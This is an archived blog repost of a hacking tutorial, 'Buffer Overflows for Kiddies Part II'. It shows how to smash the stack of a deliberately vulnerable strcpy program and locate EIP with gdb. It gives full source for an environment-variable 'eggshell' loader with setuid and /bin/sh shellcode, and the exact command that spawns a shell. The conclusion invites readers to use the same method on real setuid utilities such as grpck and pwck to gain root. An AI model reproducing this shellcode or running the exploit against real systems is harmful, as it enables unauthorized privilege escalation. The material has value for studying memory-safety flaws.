Saturday, December 03, 2011

Buffer Overflows for Kiddies PART II





PART II


[[--Introduction--]]

This is part two, the follow on from Buffer Overflows for Kiddies. If you not have read the first one I suggest you do so. The first one gives you a good understanding of whats what.

TO READ THE FIRST PART CLICK HERE

Now in this tutorial i'm going to attempt to give you the knowledge to be able to exploit a program, without coding in C. But we will need to use gdb quite a bit, so any prior knowledge would be helpful but not necessary.

As usual i'll do the jargon buster first so that we can get the confusing words or abbrieviations out of the way.

[[--Jargon Buster--]]

esp - is a register known as the extended stack pointer

ebp - is a register known as the extended base pointer

eip - is a register known as the extended instruction pointer

gdb - i hope you know what this is, but for those of you that dont, gdb is a program used to dissasemble other programs.

[[--Where to begin--]]

Well as we arent going to code anything in this tutorial, and we are still going to learn how to exploit something without coding, i think i had better explain how we are going to do this.

Lets look at my vulnerable program below.

---------------------------------cut-here--------------------------
// bof.c by bob

#include <stdio.h>

int main(int argc, char * argv[]) {

char buf[256];

if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}

strcpy(buf,argv[1]);
printf("%s", buf);

}
---------------------------------cut-here--------------------------

Just incase you dont understand that, i'll take you through each line.

int main(int argc, char * argv[]) { -- This is our main function...we declare two variables also.

char buf[256]; -- We now declare a variable called buf that is defined to hold 256 chars.

if(argc == 1) { -- We are saying here if we dont have any user defined input then..

printf("Usage: %s input\n", argv[0]); -- ..Print usage.

exit(0); -- Exit our main function.

strcpy(buf,argv[1]); -- Otherwise copy what the user types into buf.

printf("%s", buf); -- Print the contents of buf.

Can you see why this program is vulnerable? I hope you can...if not here is why.
We have a variable called buf that can only hold 256 chars.....and we copy the user input into buf with strcpy(). Soooo if the user was to send over 256 chars it would overflow.

Not to hard to follow...

[[--Overflowing--]]

This bit is very easy also.

Lets see what happens when we run our program with no user input.

[bob@dtors bob]$ ./bof
Usage: ./bof input
[bob@dtors bob]$

Ok so lets give it something to play with.

[bob@dtors bob]$ ./bof bob
bob
[bob@dtors bob]$

There we can see that it has taken our input, copied it into buf, and then printed it to our screen.

So lets send more than its designed to hold. [Overflow it]

[bob@dtors bob]$ ./bof `perl -e 'print "A" x 272'`
Segmentation fault (core dumped)
[bob@dtors bob]$

Ohhh it didnt like that! Lets examine the core.

[bob@dtors bob]$ gdb -c core ./bof

Core was generated by ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x4000ade1       10737435320
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43


As you see here we have overwritten our ebp with 0x41414141.
But what we wanted to do was overwrite the eip.

The ebp and eip are 4 bytes each, and as we have only overwritten the ebp. It would be sensible to say that if we add 4 more bytes we will overwrite the eip.

This is how the memory layout looks like:

    __|__
   |     |
   | EBP | - 4 byte address
   |_____|
    __|__
   |     |
   | EIP | - next 4 byte address
   |_____|

Lets see:

[bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)
[bob@dtors bob]$ gdb -c core ./bof

Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x41414141       0x41414141
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43


There we can see the eip is now overwritten also!


[[--Changing the RET address--]]

Now that we no how much to overflow bof.c by to overwrite the eip,
we can go onto making it execute a shell.

In order to do this we will use an eggshell.


---------------------------------cut-here--------------------------
/* bish.c
 *
 * bob [www.dtors.net]
 *
 * Generic eggshell, was tested and
 * works on:
 *
 * FreeBSD 4.6-PRERELEASE
 * FreeBSD 4.5-RELEASE
 * OpenBSD 3.0
 * NetBSD  1.5.2
 * Linux   2.0.36
 * Linux   2.2.12-20
 * Linux   2.2.16-22
 * Linux   2.4.7-xfs
 *
 * Shellcode by zillion@safemode.org, added setuid().
 */

#include <stdio.h>

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
        "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
  char bish[512];
  puts("Bish loaded into enviroment");
  puts("  Bish.c by bob@dtors.net");

  memset(bish,0x90,512);
  memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
  memcpy(bish,"BISH=",5);
  putenv(bish);

  execl("/bin/bash","bash",'\0');

return(0);
}

---------------------------------cut-here--------------------------

[bob@dtors bob]$ cc bish.c -o bish ; ./bish
[bob@dtors bob]$

Now we have loaded BISH into our environment, so all we need to do now is overflow our program again but this time instead of overwriting the eip with 0x41414141, we will overwrite it an address that points to our shellcode.

First off we need to find the address of our shellcode.

So lets overflow the program again, and examine the core.

[bob@dtors bob]$ ./bof `perl -e 'print "A" x 264'`
Segmentation fault (core dumped)
[bob@dtors bob]$ gdb -c core ./bof

Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) x/s $esp
0xbffff7b0:  "ë\222\004@\001"
(gdb)
0xbffff7b6:  ""

Now keep pressing Enter until you see your SHELLCODE env and NOPS.

0xbffffcbe:      "MAIL=/var/spool/mail/bob"
(gdb)
0xbffffcdc:      "BISH=", '\220' <repeats 190 times>...
(gdb)
0xbffffdc2:      '\220' <repeats 200 times>...
(gdb) x/x 0xbffffdc2
0xbffffdc2:  0x90909090
(gdb)q

[bob@dtors bob]$

Our NOPS are here: 0xbffffdc2:      '\220' <repeats 200 times>...
So pointing to this address is fine, because NOPS are not proccessed, so it will go through all the NOPS until it hits our shellcode/BISH environment.

Now we have to convert this address to little endian, to do this we write it backwards.

0xbffffdc2 - 0x = bffffdc2 - the 0x isnt needed.

bffffdc2 backwards = c2fdffbf

Then we add \x to each byte.

c2 fd ff bf = \xc2\xfd\xff\xbf

There we have our address that we are going to overwrite the EIP with, to point to our shellcode.

So lets give it a shot:

[bob@dtors bob]$ ./bof `perl -e 'print "A" x 260'``printf "\xc2\xfd\xff\xbf"`
sh-2.05$

Wollah! We pointed it to our shellcode and it worked! We didnt get a root shell because bof was not setuid, or owned by root.

Also notice that we only flooded with 260 A's, thats because our address was 4 bytes, which makes up for the 4 bytes we took off.

[[--Conclusion--]

Well this method i used here is by no means a NEW way to do it, its just an easier way.

If you want you can try this method on some REAL vulnerable programs such as:

/usr/sbin/grpck
/usr/sbin/pwck

They can be exploited in the exact way i have shown you here.

IF you find that this way for some reason is not working for you, [i had this problem a few days back when i reinstalled my OS] then upgrade bash to 2.05. You can get it at ftp.gnu.org/gnu/bash

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Regards,

"Team Critically Geek | Think Evil, Do Good !!"

Source :: bob [www.dtors.net]

0 comments: